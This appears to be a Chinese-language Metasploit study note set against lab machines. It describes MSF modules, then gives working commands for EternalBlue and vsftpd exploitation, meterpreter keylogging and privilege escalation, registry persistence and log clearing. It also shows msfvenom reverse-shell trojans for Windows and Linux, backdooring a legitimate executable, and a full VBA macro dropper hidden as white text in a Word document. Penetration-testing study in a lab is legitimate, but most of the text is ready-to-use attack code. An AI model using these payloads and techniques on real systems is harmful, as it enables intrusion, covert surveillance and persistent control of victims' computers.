MSF 学习 官网:https://metasploit.com/
模块 模块组织按照不同的用途分为7种类型的模块 (Modules):
分为辅助模块(Aux)、渗透攻击模块 (Exploits)、后渗透攻击模块(Post)、攻击载荷模块 (payloads)、 编码器模块(Encoders)、空指令模块(Nops)、 免杀模块(Evasion)
Exploits :渗透攻击模块,利用系统漏洞进行攻击,里面有每一个具体漏洞的攻击方法。
Aux :辅助模块,负责信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能。
Post :后渗透攻击模块,在取得目标系统远程控制权限后,进行一系列的后渗透攻击 动作,如获取敏感信息、跳板攻击等操作。
Payloads :攻击载荷模块,成功exploit之后,真正在目标系统执行的代码或指令。
Encodes :编码器模块,主要对payload进行加密,最终达到躲避AntiVirus检查的目的。
Nops :空指令模块,主要作用是提高payload稳定性及维持大小。
Evasion :免杀模块,可以用来创建木马文件
Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。
其中最重要的是可以用来作为MSF攻击用的靶机 开放了很多的高危端口如21、23、445等,而且具有很多未打补丁的高危漏洞, 如Samba MS-RPC Shell命令注入漏洞等,而且对外开放了很 多服务,并且数据库允许外联等。系统中的用户口令均为弱口令。系统 搭载了DVWA、Mutillidae等Web漏洞演练平台
MSF启动 Metasploit启动有三种方式
1.先启动Postgresql数据库
1 2 service postgresql start msfconsole
2.直接启动
3.启动Postgresql的同时启动Metasploit
MSF命令 rank等级
show 用于展示可用模块,有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info
search 已知一个漏洞,我想知道Metasploit里面是否有相关的模块,就可以用search进行搜索 直接查找 search后直接跟要查找内容,查得很广泛 可以根据名字、路径、平台、类型、联合查询
1 2 3 4 5 6 直接搜索漏洞编号:search ms08_067 根据名字:search name :mysql 根据路径:search path :mysql 根据模块:search type :exploit 根据平台:search platform:windows 联合查询:search name :mysql type :exploit
use 使用某一个具体的模块 以ms08_067为例
1 2 3 4 5 6 1 .search ms08_0672 .use exploit/windows/ smb/ms08_067_netapi3 .info // 查看基本信息(适用的攻击目标)和需要设置哪些参数4 .show options // 需要设置的参数5 .show missing // 必须要设置的参数6 .show target // 可以攻击的目标
back 退出当前调用的模块
set 用于设置选项中的参数 以ms08_067为例
exploit/run 配置好选项参数之后发起攻击
MSF攻击流程 已知漏洞->查找模块->配置程序->run/exploit
1 2 3 4 5 search xxx use xxxshow options set payload xxx run/exploit
永恒之蓝 靶机:10.210.100.131 防火墙关闭
1 2 3 4 5 6 7 8 9 10 11 12 1. 搜索可利用的模块:search ms17_0102. 使用辅助模块检测目标是否存在漏洞: use auxiliary/scanner/smb/smb_ms17_010set RHOSTS run 3.使用漏洞利用模块 use /windows//ms17_010_eternalblue set RHOSTS 10.210 .100 .131 run/ exploit //挂在后台 sessions //查看后台 session //进入指定的
1.信息搜集
1 2 3 4 5 6 7 扫描网段:nmap -sP 10.210.100.0 /24 扫描端口:nmap -sT 10.210.100.129 扫描版本:nmap -sV -p 1-65535 10 .210.100.129 扫描是否存在常见的漏洞:nmap --script=vuln 10.210.100.129 msf中也可以使用nmap(前提:开启数据库) 命令:db_nmap -xxx
2.漏洞利用
cve官网:https://cve.mitre.org/
1 2 3 4 5 6 7 search 漏洞编号/服务+版本等 eg:search vsftpdsearch use exploit/unix/ftp/vsftpd_234_backdoorset RHOSTS 10.210.100.129run
整体流程:
Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成 功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们 返回一个控制通道。
使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户 密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、 得到远程控制权、捕捉按键信息、清楚应用程序、显示、远程主机的系统信息、显示远程机器的网络接口和IP地址等信息
常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 background:返回,把meterpreter后台挂起sessions:查看当前建立的会话 ps:查看进程 getpid:查看当前进程号 sysinfo:查看系统信息 getsystem:自动提权 getuid:查看当前权限run scraper :获取目标主机的详细信息 访问文件系统:cd、cat、 rm、edit run post/windows/gather/enum_applications:先查看目标主机安装了哪些应用 screenshot:屏幕截图 键盘记录:keyscan_start、keyscan_dump、keyscan_stop run vnc:屏幕监控 进程迁移:migrate pid(例如winlogon进程的pid,记事本的pid等)
生成持续后门 因为meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每 次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门, 只要目标主机开机了,我们就可以连接到该主机
1.写入注册表 1 2 3 4 use exploit/windows/local /persistenceset SESSION 1 set STARTUP SYSTEM run
2.开启监听 1 2 3 4 use exploit/multi/handlerset payload /meterpreter/set run
3.清除日志
客户端渗透 msfvenom是msfpayload,msfencode的结合体,可利用 msfvenom生成木马程序,并在目标机上执行,在本地监听上线
制作windows恶意程序 1 2 3 4 5 6 7 8 9 10 11 12 msfvenom -a x86 --platform windows -p windows/meterpreter/ reverse_tcp LHOST=192.168 .60.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o / var/www/ html/vip.exe 二次编码: msfvenom -a x86 --platform windows -p windows/meterpreter/ reverse_tcp LHOST=192.168 .60.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/ alpha_upper -i 10 -f exe -o /var/ www/html/ vip1.exe -a 操作系统架构 32 位x86 64 位x64 --platform 操作系统 -p payload -b 去掉坏字符 \x代表16 进制 00 代表空字符 -e 指定编码器 -i 编码次数 -f 指定文件类型 -o 指定文件输出位置
开启apache服务
1 2 3 service apache2 start service apache2 status 靶机访问10.210.100.128 /vip.exe下载即可
攻击机开启监听:
1 2 3 4 5 msfconsole use exploit/multi/handlerset payload /meterpreter/set run
给软件加上后门 1 2 3 msfvenom -a x86 --platform windows -p windows/meterpreter/ reverse_tcp LHOST=10.210 .100.128 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o / var/www/ html/QvodTerminal.exe -x 以某个程序为模板
主程序启动–>子程序伴随启动–>绑定子程序 QvodTerminal.exe
开启监听然后 启动主程序即可
制作linux恶意程序 1 2 3 4 5 6 7 8 msfvenom -a x64 --platform linux -p linux/x64/m eterpreter/reverse_tcp LHOST=10.210.100.128 LPORT=4444 -b "\x00" -i 10 -f elf -o / var/www/ html/linux_test use exploit/multi/ handler set payload linux/x64/m eterpreter/reverse_tcp set LHOST 10.210 .100.128 靶机下载:wget http:// 10.210 .100.128 /linux_test 执行./linux_test
利用宏感染word文档 1 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST =10.210.100.128 LPORT =4444 -e x86/shikata_ga_nai -i 10 -f vba-exe
1.复制宏代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 恶意代码:Sub Auto_Open ( ) Ictso12 End Sub Sub Ictso12 ( ) Dim Ictso7 As Integer Dim Ictso1 As String Dim Ictso2 As String Dim Ictso3 As Integer Dim Ictso4 As Paragraph Dim Ictso8 As Integer Dim Ictso9 As Boolean Dim Ictso5 As Integer Dim Ictso11 As String Dim Ictso6 As Byte Dim Ibhtnqbyoj as String Ibhtnqbyoj = "Ibhtnqbyoj" Ictso1 = "mROEolRuRE.exe" Ictso2 = Environ ( "USERPROFILE" ) ChDrive ( Ictso2 ) ChDir ( Ictso2 ) Ictso3 = FreeFile ( ) Open Ictso1 For Binary As Ictso3 For Each Ictso4 in ActiveDocument . Paragraphs DoEvents Ictso11 = Ictso4 . Range . Text If ( Ictso9 = True ) Then Ictso8 = 1 While ( Ictso8 < Len ( Ictso11 ) ) Ictso6 = Mid ( Ictso11 , Ictso8 , 4 ) Put #Ictso3 , , Ictso6 Ictso8 = Ictso8 + 4 Wend ElseIf ( InStr ( 1 , Ictso11 , Ibhtnqbyoj ) > 0 And Len ( Ictso11 ) > 0 ) Then Ictso9 = True End If Next Close #Ictso3 Ictso13 ( Ictso1 ) End Sub Sub Ictso13 ( Ictso10 As String ) Dim Ictso7 As Integer Dim Ictso2 As String Ictso2 = Environ ( "USERPROFILE" ) ChDrive ( Ictso2 ) ChDir ( Ictso2 ) Ictso7 = Shell ( Ictso10 , vbHide ) End Sub Sub AutoOpen ( ) Auto_Open End Sub Sub Workbook_Open ( ) Auto_Open End Sub
创建宏:
粘贴msf生成的代码:
保存为启用宏的文档:
2.复制payload
复制到word文档正文中
将字体调成白色即可
3.监听 1 2 3 4 use exploit/multi/handlerset payload /meterpreter/set run
打开文档 – 启用宏